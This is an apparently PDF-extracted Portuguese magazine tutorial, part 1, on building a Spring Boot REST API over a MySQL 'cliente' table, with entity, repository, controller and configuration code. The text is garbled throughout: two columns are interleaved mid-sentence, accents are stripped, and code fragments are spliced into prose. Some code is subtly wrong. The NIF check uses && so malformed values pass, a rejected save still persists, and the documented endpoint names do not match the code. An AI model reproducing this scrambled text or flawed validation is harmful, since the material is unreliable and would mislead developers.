em ficheiros de configuraes declarativas XML nem sempre POSTMAN Aplicao disponvel para o Google
de fcil entendimento com a agravante de que medida que Chrome usada para pequenos testes a APIs.
os projecto iam crescendo, esses ficheiros XML tornavam-se
Vamos partir do principio que o leitor j tem o Java
cada vez mais complexos. A partir da verso 3 do Spring, o
(1.8) e o servidor MYSQL devidamente instalados e configu-
processo de configuraes foi simplificado, podendo tambm
rados. Neste artigo utilizei o Windows 10 como sistema ope-
ser efetuado via classes JAVA, mas mesmo assim, a sua
rativo base, no entanto todas estas ferramentas esto dispo-

14
A PROGRAMAR

API REST COM SPRING BOOT (PARTE 1)


nveis em Linux (embora o HeidiSQL necessite do Wine). No No iremos utilizar nenhum esquema de segurana
entanto o Heidi opcional e pode-se perfeitamente utilizar no projeto, uma vez que isso sai fora do mbito do artigo.
qualquer outra ferramenta similar, ou at criar manualmente os Tambm no so efetuadas validaes que em produo
scripts de criao da base de dados, respetivas tabelas e inser- sero sempre obrigatrias bem como nem sempre utilizamos
o de dados experimentais. blocos Trycatch quando efetuamos operaes de persis-
tncia, o que conveniente em produo.
HEIDISQL
Podamos escolher diversos caminhos para interligar
A instalao do Heidi, processa-se como qualquer outra
a aplicao mvel com a base de dados, mas criar um aces-
e no podia ser mais simples.
so via API REST parece-nos uma boa forma de o fazer (e
Basta apontar o browser para http://www.heidisql.com/ que mais tarde nos permite implementar rapidamente um
clicar em Downloads e puxar para o nosso computador o HEI- sistema de segurana, utilizando por exemplo o Spring Secu-
DISQL installer (verso 9.3 data deste artigo). De seguida, o rity).
duplo clique da praxe e a instalao dever decorrer sem qual-
A NOSSA BASE DE DADOS
quer problema.
A base de dados que iremos utilizar no podia ser
Quando iniciamos o HEIDI devemos configurar a aplica-
mais simples. Vamos chama-la de empresa_x e apenas
o para ligar com o nosso servidor MYSQL, colocando os
pretendemos uma tabela, a qual, e sem surpresa, se vai
dados de utilizador, password e porta.
chamar cliente.
Se tudo correu como esperado, o leitor no dever encontrar
qualquer problema. Nessa tabela cliente iremos criar os campos id, no-
Explore o HeidiSQL para perceber o seu funcionamento. me_cliente, nif, concelho.
Spring Tool Suite
O Spring Tool Suite o IDE que iremos utilizar, tendo a
vantagem de j incluir o Maven e uma instncia do servidor
Apache Tomcat prontinha a funcionar para o nosso projeto
sem necessidade de nenhuma configurao adicional.
A instalao tambm simples e direta. Apontar o
browser para https://spring.io/tools, clicar em Download STS
(verso 3.8.1 data deste artigo) para o sistema operativo que
estiver a utilizar, descompactar para uma pasta do seu agrado
e est pronto a funcionar.

O NOSSO PROJECTO
O projeto que aqui propomos bem simples. Vamos Utilizado o HEIDI, crie a nova base de dados e atribua
imaginar que a nossa empresa necessita de desenvolver uma -lhe o nome de empresa_x.
aplicao mvel que permita aos elementos do departamento
Clicando de seguida em OK. A nova BD ser criada
comercial consultar em tempo real dados de clientes, criar no-
no MySQL.
vos clientes, alter-los caso necessrio ou at mesmo elimina-
los. Queremos tambm criar um LOG das operaes efetuadas Agora necessitamos de criar a nossa tabela de clien-
e dos endereos IP de onde as chamadas nossa API parti- tes dentro da base de dados que acabamos de gerar. Utili-
ram. zando o boto direito do rato em cima da base de dados
criada chegamos ao menu de criao de tabela.

15
A PROGRAMAR
API REST COM SPRING BOOT (PARTE 1)
Continuamos a adio dos campos at que todos
estejam definidos. No final teremos uma tabela como a que
se mostra na imagem.

Agora vamos adicionar alguns dados tabela, que


nos permitiro fazer algumas experincias durante o desen-
volvimento da API. (para fazer o commit dos dados inseridos,
utilize o cone.
Poderamos usar apenas um script SQL, para a cria-
o da tabela e respetivos campos, mas aproveitamos para
deixar esta resumidssima apresentao do HeidiSQL.
A NOSSA API
No se pretende deixar aqui uma larga explicao do
que so API REST at porque estas podem ser baseadas e
implementadas usando diversas tecnologias e mtodos e
existe literatura em abundncia sobre o tema. No nosso caso
iremos utilizar o protocolo HTTP, os seus verbos (GET,
POST, DELETE e PUT) para conseguirmos comunicar de
uma forma simples com a base de dados que acabamos de
criar.
Por norma, quando desenvolvemos uma API REST,
devemos identificar os recursos aos quais pretendemos dis-
ponibilizar acesso. Neste caso temos apenas um recurso. O
Cliente.
Criamos ento a tabela cliente e adicionamos os cam- Aps identificarmos esses recursos, devemos obser-
pos j mencionados. Id, nome_cliente, nif, concelho, sendo que var quais os mtodos que so uteis s aplicaes que vo
devemos assinalar o campo id, como sendo um inteiro com a aceder API e que necessitaremos de implementar bem
propriedade de auto-increment. como o tipo de respostas que deveremos enviar.
Fundamental tambm dedicar algum tempo cria-
o de uma semntica prpria e consistente que ser utiliza-
da na construo dos URL que permitiro aceder aos recur-
sos disponibilizados. (voltaremos a este assunto mais fren-
te)
Neste exemplo iremos implementar mtodos que nos
permitam:

Obter dados do cliente por ID

Obter listagem de todos os clientes

Obter dados do cliente por NIF

Insero de um novo cliente

Eliminao de um cliente.
E iremos verificar como o Spring Boot nos permite
No nos podemos esquecer de marcar o campo id co- implementar uma API de uma forma rpida.
mo sendo uma primary key (boto direito do rato em cima do Vamos ento iniciar o STS (Spring Tool Suite) e me-
nome do campo). ter mos obra

16
A PROGRAMAR

API REST COM SPRING BOOT (PARTE 1)


INCIO DO PROJECTO Aqui vamos selecionar JPA e MySQL da seco SQL
e da seco WEB, vamos selecionar Web. De seguida pode-
Quem j trabalha com Maven, sabe o quo til ele no
mos clicar em Finish.
dia a dia de um programador Java, sendo que o seu aspecto
mais importante o permitir-nos gerir todas as dependncias Neste ponto o Spring Boot vai comear a fazer um
de um projeto mantendo-as arrumadinhas e garantir que na- pouco da sua magia, fazendo download de todas as depen-
da esquecido, mesmo que passemos o projeto para outro dncias (mais de 50) necessrias, criando um ficheiro
computador que no tem configuradas ou instaladas as biblio- pom.xml com as respetivas entradas. Mais tarde voltaremos
tecas necessrias e / ou nas verses corretas que o nosso ao pom.xml
projeto utiliza. Mas manter o ficheiro pom.xml preparado para
Se observarmos o projeto criado, ele bastante lim-
os nossos projecto, pode implicar dezenas de linhas de confi-
po, contendo apenas 2 ficheiros (no vamos cobrir as unit
gurao.
testings neste artigo). Um desses ficheiros encontra-se no
Com Spring Boot reduzimos significativamente o nme- package pt.api e tem o nome de ApiTutorialApplicati-
ro de linhas a incluir no pom.xml recorrendo aos starters, que on.java e o outro tem o nome de Application.properties e
no so mais que dependncias que agrupam outras. Assim, encontra-se em src/main/resources.
caso o nosso projecto necessite de JPA e Hibernate, por exem-
A observao do cdigo gerado para o ficheiro ApiTu-
plo, basta-nos adicionar uma linha ao ficheiro de configurao
torialApplication mostra-nos duas coisas importantes. O
Maven, e todas as dependncias necessrias sero adiciona-
mtodo main, que nos indica imediatamente que este ser o
das ao nosso classpath.
ponto de entrada da nossa aplicao, e uma anotao muito
importante compreender que o Spring Boot, no um importante, o @SpringBootApplication. Esta anotao, subs-
gerador de cdigo. Ele apenas tem a capacidade de analisar titui 3 outras anotaes utilizadas normalmente em projetos
o projecto e configura-lo automaticamente. Spring, que so @Configuration (que marca a classe como
sendo capaz de incluir definies de beans),
Comecemos por criar um novo Spring Starter Project.
@EnableAutoConfiguration (que d alguma inteligncia ao
Logo de seguida ser-nos-o solicitados dados referen- Spring, permitindo-lhe adicionar beans, entidades, controla-
tes ao nosso projeto. Na imagem seguinte podem observar os dores, etc. baseado no classPath do projecto) e
dados que utilizamos, no entanto, o leitor deve adequa-los @ComponentScan (informa o Spring para procurar compo-
sua realidade (nome de domnio, etc.) nentes e definies no package)

Devemos ter especial ateno ao nome do package,


pois por defeito um projecto Spring Boot vai sempre procurar
os seus componentes a partir desta raiz (embora seja poss-
vel alterar essa configurao). Ou seja, para no termos
problemas, com a configurao por defeito, se desejarmos
criar mais packages eles devem ser sempre sub-packages
da inicial. E isso que vamos fazer agora.
Por forma a manter o nosso projeto devidamente es-
Aps clicar em Next, devemos selecionar quais as de- truturado vamos criar os seguintes packages
pendncias que queremos adicionar ao nosso projecto.
pt.api.controllers

17
A PROGRAMAR
API REST COM SPRING BOOT (PARTE 1)
pt.api.entities @Basic(optional = false)
pt.api.repositories @NotNull
@Size(min = 1, max = 9)
@Column(nullable = false, length = 9)
private String nif;
@Basic(optional = false)
@NotNull
@Size(min = 1, max = 40)
@Column(nullable = false, length = 40)
private String concelho;

public ClienteEntity() {
}

public ClienteEntity(Integer id) {


this.id = id;
}

public ClienteEntity(Integer id, String


nomeCliente, String nif, String concelho) {
this.id = id;
this.nomeCliente = nomeCliente;
O nosso projecto dever ficar semelhante ao da im- this.nif = nif;
agem this.concelho = concelho;
}
public Integer getId() {
Dentro destes packages iremos agora criar as classes return id;
necessrias ao nosso projecto. }

Pessoalmente, prefiro comear pelas entidades, o que public void setId(Integer id) {
neste caso bastante simples, pois temos apenas uma en- this.id = id;
}
tidade a qual poderemos facilmente definir utilizando as
anotaes do javax.persistence. public String getNomeCliente() {
return nomeCliente;
Assim, no package pt.api.entities, vamos criar a classe }
ClienteEntity, usando o cdigo que mostramos a seguir. Esta public void setNomeCliente(String
classe representa um objeto correspondente a uma entrada na nomeCliente) {
nossa base de dados de um cliente. this.nomeCliente = nomeCliente;
}
package pt.api.entities; public String getNif() {
return nif;
import java.io.Serializable; }
import javax.persistence.Basic; public void setNif(String nif) {
import javax.persistence.Column; this.nif = nif;
import javax.persistence.Entity; }
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType; public String getConcelho() {
import javax.persistence.Id; return concelho;
import javax.persistence.Table; }
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Size; public void setConcelho(String concelho) {
this.concelho = concelho;
@Entity }
@Table(name = "cliente",catalog = "empresa_x", }
schema = "") public class ClienteEntity implements
Serializable { At aqui nada de novo para quem j trabalhou com
bases de dados e JAVA. Criamos uma entidade que define
private static final long serialVersionUID =
1L; um objeto que representa um cliente. Note a anotao
@Id @Entity que indica que estamos perante uma entidade que
@GeneratedValue(strategy = pertence a algum domnio de persistncia.
GenerationType.IDENTITY)
@Basic(optional = false) As vantagens que o Spring Boot nos proporciona
@Column(nullable = false)
private Integer id; comeam a notar-se daqui em diante, e entramos nele a
@Basic(optional = false) partir de diversas anotaes como @AutoWired,
@NotNull @Repository, @RestController que permitem que o fra-
@Size(min = 1, max = 50) mework detecte os diversos componentes e os injecte nos
@Column(name = "nome_cliente", nullable =
false, length = 50) locais apropriados sempre que necessrio, tudo isto sem
private String nomeCliente; necessidade de recorrermos s configuraes XML ou s

18
A PROGRAMAR

API REST COM SPRING BOOT (PARTE 1)


configuraes JAVA a que antes estvamos obrigados. Este interface ir no nosso caso conter apenas um
mtodo.
Vamos agora observar os nossos requisitos iniciais e
verificar o que necessitamos em termos de pesquisas base Antes da definio do interface deveremos colocar a
de dados. anotao @Repository para que o Spring interprete o com-
ponente como sendo desse tipo e o possa injetar, quando
Iremos necessitar de uma pesquisa que nos devolva
necessrio, num controlador.
todos os clientes, uma pesquisa que nos devolva um cliente
especfico atravs de um ID fornecido e uma pesquisa por NIF.
Vamos ento verificar qual a abordagem que podemos
adotar para implementar essas pesquisas.
Temos ao nosso dispor duas formas, uma utilizando os
chamados serviceBeans e outra recorrendo diretamente aos
repositrios que nos so facilitados pelo Spring Data (que in-
clumos no projecto quando inicialmente selecionamos JPA),
sendo que esta ltima bem mais rpida de implementar, es-
pecialmente para o nosso caso que bastante simples.
Num dos queries que vamos implementar iremos utilizar
a sintaxe SQL standard, aproveitando para demonstrar como a
podemos utilizar nestes contextos. (o que nem sempre acon-
selhado pois o nosso projecto corre o risco de deixar de ser
utilizvel com outros motores de bases de dados relacionais).
O Spring Data simplifica bastante a nossa forma de
interagir com as entidades JPA e permite-nos criar queries
usando o prprio nome do mtodo os quais sero posterior-
mente traduzidos pelo framework para queries JPA utilizando o
package pt.api.repositories;
JPA criteria, sendo que mtodos para vrias funes vm j
implementados e prontos a usar. import java.util.Collection;
Mtodos com um nome como findAll(), sero interpreta- import org.springframework.data.jpa.repository.
do e traduzido para um SELECT * FROM Sem o Spring Da- JpaRepository;
import org.springframework.data.jpa.
ta, teramos de criar todo o cdigo de construo de queries repository.Query;
com recurso ao CriteriaBuilder, o que por sua vez nos levaria import org.springframework.stereotype.Repository;
aos EntityManagerFactory, e tudo isto aumentaria o grau de
complexidade da nossa aplicao. Na documentao do import pt.api.entities.ClienteEntity;
Spring Data poder encontrar uma lista das Keywords que @Repository
podem ser utilizadas na nomenclatura dos mtodos. Algo como public interface ClienteRepository extends
findBynomeClienteContaining seria perfeitamente vlido. JpaRepository<ClienteEntity, Integer> {
@Query (value="SELECT * FROM cliente WHERE
Para implementarmos o nosso repositrio, vamos criar nif=?1",nativeQuery=true)
Collection<ClienteEntity> pesquisaPorNIF
um interface que descreva os nossos mtodos e que ir ser (String NIF);
uma extenso do JpaRepository disponibilizado pelo fra- }
mework.
Aqui estamos a recorrer anotao @Query com
No package pt.api.repository vamos ento criar esse
uma propriedade de nativeQuery=true, que nos vai permitir a
interface ao qual iremos chamar ClienteRepository e que ir
utilizao de queries na sintaxe nativa do SQL (existem ou-
prolongar (extend) o JPARepository .
tras possibilidades como por exemplo a utilizao de named
queries). Os parmetros so passados ao Query utilizando ?
# em que # um digito que representa a posio do argu-
mento no mtodo. Neste caso apenas temos um argumento.
Em qualquer altura, podemos voltar a este interface e
adicionar novos queries que a nossa aplicao venha a ne-
cessitar, e os mesmos ficaro disponveis para uso.
Como j mencionamos, criamos este Query recorren-
do a sintaxe SQL apenas como exemplo, pois poderamos
perfeitamente criar um mtodo denominado de findBynif(nif)
do tipo ClienteEntity e iriamos obter o mesmo resultado
(sendo que com este ltimo garantiramos a portabilidade da

19
A PROGRAMAR
API REST COM SPRING BOOT (PARTE 1)
nossa aplicao para outros RDBMS). Aps gravarmos o application.properties podemos
lanar o nosso projecto, e se tudo tiver corrido bem, no
Quanto ao cdigo para tratamento da nossa pequena
teremos qualquer erro, a ligao base de dados ir ser
base de dados, estamos concludos, no entanto neste momen-
efetuada e o apache Tomcat iniciar-se-. O projecto dever
to ainda no informamos o Spring qual a base de dados que ser executado como uma aplicao JAVA ou com uma
estamos a utilizar e como aceder a ela. Spring Boot Application.

Logo no inicio deste artigo mencionamos que o Spring


Boot criou 2 ficheiros. Um deles era o applicati-
on.properties. precisamente este ficheiro que, por defei-
to, uma aplicao Spring Boot utiliza para lr diversas configu-
raes incluindo a forma de ligar com a base de dados.

Se a sua janela de consola no apresentar qualquer


tipo de erro, dever ser idntica imagem. Isso significa que
estamos no bom caminho.

Inicialmente este ficheiro estar completamente vazio.


Vamos ento abri-lo e declarar as definies que nos interes-
sam neste momento.
No final o ficheiro application.properties dever conter o
cdigo apresentado

#Coloque aqui a informao referente ligao


base de dados.
spring.datasource.url = jdbc:mysql://
localhost:3306/empresa_x?
autoReconnect=true&useSSL=false

#Coloque o nome de utilizador e a password de aces-


so base de dados.
spring.datasource.username = (o nome de utilizador Experimente lanar o browser apontando-o para
na sua base de dados) http://localhost:8080. Dever obter uma mensagem de erro
spring.datasource.password = (a password referente
ao utilizador acima) genrica (WhiteLabel), pois ainda no criamos os endpoints
da nossa API.

#Mostrar o log de cada query sql Caso algum erro ocorra, reveja atentamente os pas-
spring.jpa.show-sql = true sos descritos, certificando-se especialmente que no houve
esquecimento de alguma das anotaes que so fundamen-
# Hibernate ddl auto (create, create-drop, update)
spring.jpa.hibernate.ddl-auto = update tais ao Spring.

# Estratgia de Naming do hibernate Chegados a este ponto, cabe-nos agora implementar


spring.jpa.hibernate.naming.strategy = os nossos pontos de entrada na API, e para isso devemos
org.hibernate.cfg.ImprovedNamingStrategy dedicar algum tempo a pensar na semntica a utilizar nos
URL por forma a que quando outros programadores utilizem
# O dialecto SQL para que o hibernate gere o melhor a nossa API, possam ter a vida simplificada. Comecemos por
SQL para a base de dados em uso. pensar um pouco no endereo base que devemos utilizar
spring.jpa.properties.hibernate.dialect = para a nossa API.
org.hibernate.dialect.MySQL5Dialect
Vamos considerar o endereo: http://localhost/8080
Certifique-se que coloca o nome de utilizador e respeti-
va password (sem os parntesis) da sua base de dados, nos Numa situao normal, este endereo provavelmente
campos: estaria ocupado com pgina inicial da nossa aplicao,
logo o ideal ser adicionarmos o termo API ao path do URL,
spring.datasource.username = (o nome de utilizador ficando o mesmo com o aspeto http://localhost:8080/api.
na sua base de dados) Tendo em conta que as boas prticas nos ensinam que de-
spring.datasource.password = (a password referente
ao utilizador acima) vemos sempre atribuir uma verso as nossas API, pois mais
tarde pode ser necessrio efetuar alteraes, sem que apli-

20
A PROGRAMAR

API REST COM SPRING BOOT (PARTE 1)


caes que, entretanto, j existam deixem de funcionar, vamos As primeiras linhas da nossa classe sero ento:
completar um pouco mais o nosso endereo que passar a ser
http://localhost:8080/api/v1, e assim chegamos ento a uma package pt.api.controllers;
proposta aceitvel para o endereo base da nossa API. import org.springframework.web.bind.annotation.
RestController;
Por norma uma API disponibiliza recursos, recursos
esses que eventualmente tero associado algum tipo de identi- @RestController
ficador (id). Neste caso, s temos um recurso para disponibili- public class ClienteController {
zar que o recurso CLIENTE. }
Podemos ento a partir do endereo base, idealizar um
formato para os pontos de entrada que podemos esquematizar
Sabemos que necessrio injetar aqui o nosso repo-
da seguinte forma.
sitrio, pois ele que vai disponibilizar os dados dos clientes,
e ento completamos um pouco mais a nossa classe, usan-
do a anotao @Autowired.
A classe ficar agora com o seguinte aspeto

package pt.api.controllers;
Nos casos em que no se aplique nenhuma ao ou
identificador, passaremos direto do recurso query String. import
org.springframework.beans.factory.annotation.
Baseado nestes princpios (que representam apenas Autowired;
uma opinio pessoal), podemos ento definir a semntica de import org.springframework.web.bind.annotation.
RestController;
construo dos nossos URL para darem origem aos seguintes
pontos de entrada: import pt.api.repositories.ClienteRepository;

1. http://localhost:8080/api/v1/cliente/{id} @RestController
public class ClienteController {
2. http://localhost:8080/api/v1/cliente/all
3. http://localhost:8080/api/v1/cliente?nif= @Autowired
4. http://localhost:8080/api/v1/cliente/insert private ClienteRepository clienteReposi-
tory;
5. http://localhost:8080/api/v1/cliente/update
6. http://localhost:8080/api/v1/cliente/delete/{id} }
No terceiro caso, optamos por utilizar uma varivel de
query no URL, para demonstrar a utilizao das mesmas e no
Est na hora de criar o primeiro ponto de entrada da
ficarmos apenas com o exemplo das variveis de path.
nossa API. Para isso vamos utilizar a anotao
Decididos os pontos de entrada, vamos ento codificar @RequestMapping. O controlador dever ficar agora com o
o nosso controlador, que ir ser responsvel por gerir o mapea- seguinte cdigo:
mento dos URL.
package pt.api.controllers;

import java.util.Collection;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.springframework.beans.factory.
annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.
annotation.PathVariable;
import org.springframework.web.bind.
No package pt.api.controllers, vamos criar uma nova annotation.RequestBody;
classe a que iremos chamar ClienteController. import org.springframework.web.bind.
annotation.RequestMapping;
Nesta classe iremos utilizar a anotao import org.springframework.web.bind.
annotation.RequestMethod;
@RestController, a qual ser colocada imediatamente antes da import org.springframework.web.bind.
definio do nome da classe, indicando que esta uma classe annotation.RequestParam;
que ir ter funes de controlador e ir tratar dos pedidos de import org.springframework.web.bind.
annotation.RestController;
HTTP. Esta anotao, tem ainda a convenincia de marcar a
classe de forma a que todos os seus mtodos devolvam um import pt.api.entities.ClienteEntity;
objeto de um tipo definido. import pt.api.repositories.ClienteRepository;

21
A PROGRAMAR
API REST COM SPRING BOOT (PARTE 1)
utilizamo-lo na assinatura deste mtodo como forma de ace-
@RestController der ao objeto HttpServletResponse que utilizaremos para
public class ClienteController { devolver cdigos de erro HTTP.
@Autowired Por ltimo temos o parmetro id o qual deduzido a
private ClienteRepository clienteRepository;
partir do URI e se encontra anotado como @pathVariable,
// EndPoint #1 permitindo assim que o Spring possa determinar que o deve
@RequestMapping(value = "/api/v1/cliente/ recolher a partir do URI atribuindo-o de seguida String id.
{id}",
method = RequestMethod.GET, Uma das caractersticas das pathVariable beneficiarem de
produces = converso de tipo automtica. No entanto parece-nos mais
MediaType.APPLICATION_JSON_VALUE) lgico atribuir-lhes o tipo String e manusear a sua validao
e converso via cdigo, pois no existe nenhuma garantia de
public ClienteEntity getByClienteId(
HttpServletRequest request, que o pedido chegue corretamente formado e evitar assim
HttpServletResponse response, que seja atirado o erro "exception":
@PathVariable(value = "id") String "org.springframework.web.method.annotation.MethodArgum
id) throws Exception {
// verificao do ID entTypeMismatchException". Tambm se deixa a nota de
int idCliente = 0; que no caso do nome da varivel colocada dentro das cha-
try { vetas coincidir com o nome da varivel qual ser atribuda,
idCliente = Integer.parseInt(id); poderamos substituir o argumento @PathVariable(value =
} catch (Exception ex) {
response.sendError "id") String id) apenas por @PathVariable String id)
(HttpStatus.BAD_REQUEST.value());
return null; Quem j tiver tentado fazer algo semelhante sem o
} recurso a qualquer framework, ter certamente a noo da
// Fetch de um cliente por ID quantidade de cdigo que fomos dispensados de escrever.
ClienteEntity cliente =
clienteRepository.findOne(idCliente); O restante deste mtodo standard. Utilizando um
if (cliente == null) {
response.sendError bloco TryCatch tentamos converter a String clienteID num
(HttpStatus.NOT_FOUND.value()); inteiro, a fim de determinar se a mesma contm um valor
return null; vlido que possa eventualmente corresponder a um ID da
} else { tabela cliente. Se no for possvel a converso, ento algo
return cliente;
} est errado e devolvemos um erro HTTP standard indicando
} um BadRequest. Se a converso decorrer sem problemas,
recolhemos o elemento da tabela que corresponda ao ID
Vamos agora analisar este cdigo tomando especial
selecionado (que tambm poderia estar includo no bloco
ateno para as anotaes utilizadas.
trycatch).
Utilizamos @Autowired para injetar um componente, e o
Se no existir nenhum elemento que corresponda,
Spring encarregar-se de determinar (pelo tipo) qual deles
ento o Query tabela ir devolver null, e nesse caso envia-
corresponde ao pretendido. Neste caso concreto, ser o Clien-
mos tambm como resposta um cdigo de erro HTTP, caso
teRepository.
contrrio devolvemos o objeto cliente em formato JSON
Atentemos agora linha seguinte.
Nesta altura pode lanar o projecto e efetuar um pe-
queno teste. Aponte o seu browser para o endereo http://
@RequestMapping(value = "/api/v1/cliente/{id}",
method = RequestMethod.GET, produces = localhost:8080/api/v1/cliente/1 e dever obter um objeto
MediaType.APPLICATION_JSON_VALUE) JSON correspondente entidade solicitada. Se isso no
acontecer, verifique atentamente todo o cdigo digitado at
A anotao @RequestMapping ir indicar ao framework ao momento.
que dever mapear os pedidos HTTP, que se dirijam para o
Vamos agora implementar os mtodos em falta no
URI api/v1/cliente/{id}, para este controlador e logo de seguida
controlador para completar os pontos de entrada da nossa
indicamos que o mtodo disponibilizado do tipo GET e que
API.
ir produzir informao do tipo JSON. (ao colocarmos o identifi-
cador id dentro das chavetas estamos implicitamente a atribuir // EndPoint #2
-lhe o tipo de varivel de path). @RequestMapping(value = "/api/v1/cliente/
all",
Nas linhas seguintes criamos o mtodo getByClienteId method = RequestMethod.GET,
que ir devolver uma resposta do tipo ClienteEntity. Como pa- produces =
rmetros iremos receber em request um objeto do tipo HttpSer- MediaType.APPLICATION_JSON_VALUE)
vletRequest, que nos ir permitir obter dados sobre o cabea- public ResponseEntity<Collection
lho do pedido HTTP (iremos necessitar deste objecto para ace- <ClienteEntity>> getAllClientes(
der a dados que iremos incluir no log). HttpServletRequest request,
HttpServletResponse response) {
O segundo parmetro do tipo HttpServletResponse, e

22
A PROGRAMAR

API REST COM SPRING BOOT (PARTE 1)


Collection<ClienteEntity> clientes = // verificar se no nulo e se existe
clienteRepository.findAll(); if (cliente.getId() == null ||
return new ResponseEntity<Collection clienteRepository.findOne(cliente.getId())
<ClienteEntity>>(clientes, HttpStatus.OK); == null) {
} response.sendError
(HttpStatus.NOT_FOUND.value(), "Erro de ID");
// EndPoint #3 return 0;
@RequestMapping(value = "/api/v1/cliente", }
method = RequestMethod.GET,
produces = MediaType. try {
APPLICATION_JSON_VALUE) clienteRepository.save(cliente);
} catch (Exception ex) {
public ClienteEntity getByClienteNIF( response.sendError
HttpServletRequest request, (HttpStatus.BAD_REQUEST.value(), "Erro de BD");
HttpServletResponse response, return 0;
@RequestParam(value = "nif") }
String nif) throws Exception {
return HttpStatus.ACCEPTED.value();
if (!nif.matches("[0-9]+") &&
nif.length() != 9) { }
response.sendError
(HttpStatus.BAD_REQUEST.value()); // EndPoint #6
return null; @RequestMapping(value = "/api/v1/cliente/
} delete/{id}",
method = RequestMethod.DELETE,
ClienteEntity cliente = produces = MediaType.
clienteRepository.pesquisaPorNIF(nif); APPLICATION_JSON_VALUE)
return cliente;
} public int deleteCliente(
// EndPoint #4 HttpServletRequest request,
HttpServletResponse response,
@RequestMapping(value = "/api/v1/cliente/ @PathVariable(value = "id")
save", String clienteID) throws Exception {
method = RequestMethod.POST,
consumes = MediaType. // verificao do ID
APPLICATION_JSON_VALUE, int idCliente = 0;
produces = MediaType. try {
APPLICATION_JSON_VALUE) idCliente = Integer.parseInt
(clienteID);
public int saveCliente( } catch (Exception ex) {
HttpServletRequest request, idCliente = 0;
HttpServletResponse response, response.sendError
@RequestBody ClienteEntity (HttpStatus.BAD_REQUEST.value());
cliente) return 0;
throws Exception { }
if (cliente.getId() != null) { try{
response.sendError clienteRepository.delete
(HttpStatus.METHOD_NOT_ALLOWED.value()); (idCliente);
} }catch (Exception ex) {
response.sendError
try { (HttpStatus.BAD_REQUEST.value(), "Erro de BD");
clienteRepository.save(cliente); return 0;
} catch (Exception ex) { }
response.sendError return HttpStatus.OK.value();
(HttpStatus.BAD_REQUEST.value()); }
} }
return HttpStatus.CREATED.value(); O mtodo getAllClientes (EndPoint #2) no podia ser
} mais simples, sendo talvez importante salientar a utilizao
// EndPoint #5 do tipo ResponseEntity que uma extenso de HttpEntity
(que contm Header e Body), mas que nos permite adicionar
@RequestMapping(value = "/api/v1/cliente/ status codes HTTP s nossas respostas.
update", method = RequestMethod.PUT,
consumes = MediaType. Em getClienteByNIF (EndPoint #3), retornamos um
APPLICATION_JSON_VALUE, ClienteEntity, sendo que neste mtodo implementamos uma
produces = MediaType.
APPLICATION_JSON_VALUE) pequena funcionalidade que ir validar se o NIF composto
apenas por 9 digitos.
public int updateCliente(
HttpServletRequest request,
HttpServletResponse response, if (!nif.matches("[0-9]+") && nif.length() != 9)
@RequestBody ClienteEntity {
cliente) throws Exception { response.sendError
(HttpStatus.BAD_REQUEST.value());

23
A PROGRAMAR
API REST COM SPRING BOOT (PARTE 1)
return null; enviado no BODY inclui o campo ID, e que um elemento com
} esse ID j existe na nossa base de dados, caso contrrio
devolvermos o erro NOT_FOUND , mas aqui devolvemos
NO EndPoint #4, saveCliente, j temos algo de diferente uma mensagem extra que indica Erro de ID, deixando mais
em relao aos mtodos anteriores. Agora estamos a indicar um exemplo de como incluir mensagens customizadas nas
que o mtodo HTTP que iremos aceitar o mtodo POST que resposta.
vai consumir e produzir informao no formato JSON (neste
caso nem sequer estamos a devolver informao neste forma- if (cliente.getId() == null ||
clienteRepository.findOne(cliente.getId())
to, mas poderamos ter convencionado por exemplo que este == null) {
mtodo devolveria um objeto com a informao gravada, para response.sendError
verificao pelo equipamento chamador) (HttpStatus.NOT_FOUND.value(), "Erro de ID");
return 0;
@RequestMapping(value = "/api/v1/cliente/save", }
method = RequestMethod.POST,
consumes =
MediaType.APPLICATION_JSON_VALUE, Tal como no mtodo anterior utilizamos clienteRepo-
produces = sitory.save(cliente) que neste caso ir atualizar a tabela, pois
MediaType.APPLICATION_JSON_VALUE) refere-se a um ID que j existe aproveitando essa vantagem
que o SpringData nos proporciona e que nos evita ter de
Neste mtodo tambm solicitamos que como parmetro escrever cdigo diferente para INSERT e para UPDATE.
nos seja entregue o BODY do pedido HTTP, pois no BODY
A utilizao do verbo PUT nesta situao, uma pura
que o objeto JSON, que pretendemos persistir na tabela, ser
conveno. Era perfeitamente possvel obter o mesmo resul-
enviado, atribumos-lhe o tipo ClienteEntity.
tado recorrendo ao mtodo POST. Nestas situaes, pesso-
H um outro ponto importante neste mtodo que deve- almente, gosto de utilizar o POST para inseres e o mtodo
mos analisar, e que consiste na verificao da presena ou PUT para atualizaes, embora haja quem use convenes
no do campo ID no objecto JSON que enviado para a API e diferentes.
que passamos a explicar.
O ltimo mtodo, o deleteCliente (EndPoint #6) que
O SpringData apenas nos disponibiliza um mtodo sa- trata da eliminao de uma entrada na base de dados que
ve, no existindo nenhum especifico para UPDATE, e como o apenas verifica que a varivel de path {id} um nmero intei-
que queremos aproveitar o framework e poupar na escrita de ro (como j tnhamos feito anteriormente) e trata de apagar a
cdigo, podemos fazer uma artimanha, que convencionar entrada correspondente da tabela.
que um SAVE no ter o campo id, j que o mesmo atribudo
Neste caso, e por coerncia utilizamos o verbo DELE-
automaticamente pelo MYSQL, e de forma inversa convencio-
TE do HTTP, embora novamente, poderamos ter utilizado o
namos que uma operao de UPDATE ter que ter obrigatoria-
POST sem nenhum problema.
mente um ID. Caso esta situao no se verifique, devolvemos
um erro, sendo essa a razo da verificao efetuada em: E temos aqui um CRUD funcional, que embora muito
bsico, permite que um qualquer equipamento comunique
if (cliente.getId() != null) { via HTTP com a nossa base de dados. certo que no efec-
response.sendError tuamos uma correcta validao de dados, mas esse no era
(HttpStatus.METHOD_NOT_ALLOWED.value());
} o objetivo do artigo e o leitor deve faz-lo a fim de evitar a
ocorrncia de erros.
Repare-se que neste mtodo definimos o tipo de res- COMO TESTAR A NOSSA API ?
posta como um int, pois neste caso suficiente devolvermos
A minha ferramenta de eleio para testar APIS, o
apenas o cdigo de Status HTTP e serve como exemplo para
apache Jmeter, no entanto, o mesmo uma ferramenta com-
os diversos tipos de resposta que poderemos enviar.
plexa, que nos permite uma mirade de configuraes. Neste
No mtodo updateCliente (EndPoint #4), utilizamos artigo, vamos utilizar o POSTMAN que est disponvel na
